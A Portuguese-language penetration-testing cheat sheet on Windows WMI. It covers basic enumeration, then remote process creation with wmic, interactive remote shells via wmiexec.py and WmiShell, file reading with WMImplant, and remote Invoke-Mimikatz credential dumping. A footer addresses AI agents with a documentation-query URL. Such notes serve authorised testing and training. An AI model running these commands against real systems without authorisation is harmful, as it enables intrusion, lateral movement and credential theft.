# WMI

O WMI (Windows Management Instrumentation) são as especificações para consolidação do gerenciamento de dispositivos e aplicações em redes corporativas utilizado Windows Server. Com isso, é possível gerenciar computadores e serviços (localmente e remotamente) utilizando Powershell ou VBScript.

Para verificar o status do serviço, execute:

```
﻿Get-Service Winmgmt
```

O WMI possui 4 termos essenciais para entender:

#### Namespace

O WMI é dividido em uma hierarquia de estilo de diretório, o contêiner `\root`, com outros diretórios abaixo de `\root`. Esses "caminhos de diretório" são chamados de namespaces.

Abaixo segue um comando para listar todos os Namespaces. Se não informarmos o `-Namespace Root`, por padrão irá retornar `Root/CIMV2`.

```bash
Get-WmiObject -Class __Namespace -Namespace Root | sort name | ft name, path

# Um pouco mais detalhado
​Get-WmiObject -Class __Namespace -Namespace Root -List -Recurse | select__Namespace | sort __Namespace

# Apenas os namespaces de Root\CIMV2
Get-WmiObject -Class __Namespace -Namespace Root\CIMV2 | sort Name | ft name, path
```

#### Classes

O nome da classe WMI, por exemplo `win32_process`, é um ponto de partida para qualquer ação WMI. Sempre precisamos saber o nome da classe e o seu namespace (onde ela está localizada).

Listando todos as Classes que começam com "win32":

```
Get-WmiObject -List -class win32* | more
```

Trabalhando com classes.

```bash
# Invocando o win32
Get-WmiObject -Class win32_share

# Verificando o status do Windows Defender
Get-WmiObject -Namespace root/microsoft/windows/defender -Class MSFT_MpComputerStatus
```

Listando informações do SO

```
# Principais informações
Get-WmiObject -ClassName win32_operatingsystem

# Informações completas
Get-WmiObject -ClassName win32_operatingsystem | Select * | more
```

Listado os processos em execução no SO

```
Get-WmiObject -ClassName win32_process | Select Name, Processid, WorkingSetSize
```

#### Method

As classes WMI têm uma ou mais funções que podem ser executadas. Essas funções são chamadas de métodos.

Listando os métodos da classe `win32_share`:

```
$c = [wmiclass]"win32_share"
$c.methods
```

#### Query

Uma instrução WMI Query Language (WQL) a pode ser executada. Por exemplo, para filtrarmos pelo processo `lsass.exe` utilizando WMI, precisamos executar o seguinte comando:

```
Get-WmiObject -Query "Select * from win32_process where Name = 'lsass.exe'" | Select Name, Processid, WorkingSetSize
```

### Conectando ao WMI Remoto

```
$cred = Get-Credential
Get-WmiObject Win32_Processor -ComputerName <ip> -Credential $cred
```

### WMIC

Executando comando no SO remoto.

```
wmic /node:<ip> /user:<user> /password:<password> process call create "<command>"
```

Cria um novo processo (por exemplo, notepad.exe) no host remoto.

```
wmic /node:<ip> /user:<user> /password:<password> process call create "notepad.exe"
```

Finaliza o processo (por exemplo, notepad.exe)

```
wmic /node:<ip> /user:<user> /password:<password> process where "Name like 'notepad.exe'" Call Terminate
```

Listando informações sobre o SO remoto.

```
wmic /node:<ip> /user:<user> /password:<password> os list brief
```

Listando informações sobre o computador remoto.

```
wmic /node:<ip> /user:<user> /password:<password> computersystem list full
```

Listando todos os usuários disponíveis no computador remoto.

```
wmic /node:<ip> /user:<user> /password:<password> useraccount list
```

Listando todos os grupos disponíveis no computador remoto.

```
wmic /node:<ip> /user:<user> /password:<password> group list brief
```

Listando todos os usuários disponíveis no computador remoto.

```
wmic /node:<ip> /user:<user> /password:<password> sysaccount list
```

Detalhes sobre a inicialização do SO.

```
wmic /node:<ip> /user:<user> /password:<password> startup list full
```

Listando as variáveis de ambiente do SO.

```
wmic /node:<ip> /user:<user> /password:<password> environment list
```

Listando todos os hotfixes instalados e salva o resultado em um arquivo.

```
wmic /node:<ip> /user:<user> /password:<password> output:<output.txt> qfe list full
```

### wmiexec.py (Impacket)

Conectando no host com shell interativa

```
wmiexec.py <user>:<pass>@<ip>
```

### wmishell.ps1

Conectando no host com shell interativa. Utilize somente comandos do cmd.exe, não do Powershell.

```
. ./Enter-WmiShell.ps1
$cred = Get-Credential
Enter-WmiShell -ComputerName <ip> -UserName $cred
```

### wmiquery.py

Conectando

```
wmiquery.py <user>:<pass>@<ip>
```

Veriicando o Sistema Operacional

```
SELECT Caption FROM win32_operatingsystem
```

Diretórios que estão sendo compartilhadas

```
SELECT * FROM win32_share
```

Verificando se existem processos em andamento

```
SELECT * FROM win32_Process WHERE name LIKE '%cmd%'
```

Verificando se existem serviços em andamento

```
Select * from Win32_service where name like '%backdoor%'
```

Procurando por diretórios ocultos de determinado usuário

```
SELECT * FROM Win32_Directory WHERE Hidden = True AND Name LIKE '%<user>%'
```

Procurando por arquivos que tenha a palavra 'flag' no nome

```
SELECT Name FROM Win32_Directory WHERE Drive = 'C:' AND Name LIKE '%flag%'
```

### WMImplant

Iniciando o WMImplant

```
cd <c:\path\to\WMImplant>
. ./WMImplant.ps1
Invoke-WMImplant
```

Configurando as credenciais

```
change_user
```

Listando os usuários ativos no SO

```
active_users
<ip_alvo>
```

Listando processos

```
ps
<ip_alvo>
```

Listando arquivo de determinado diretório

```
ls
<ip_alvo>
<c:\path\to\file\dir>
```

Lendo conteúdo de determinado arquivo

```
cat
<ip_alvo>
<c:\path\to\file>
```

Executando o Mimikatz. Esse processo pode demorar.

```
remote_posh
<ip_alvo>
<c:\path\loca\to\mimikatz.ps1>
Invoke-Mimikatz
```

#### Sites

```
https://github.com/secabstraction/WmiSploit
https://github.com/FortyNorthSecurity/WMImplant
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mysther.gitbook.io/knowledge-base/ataques/windows/services/wmi.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
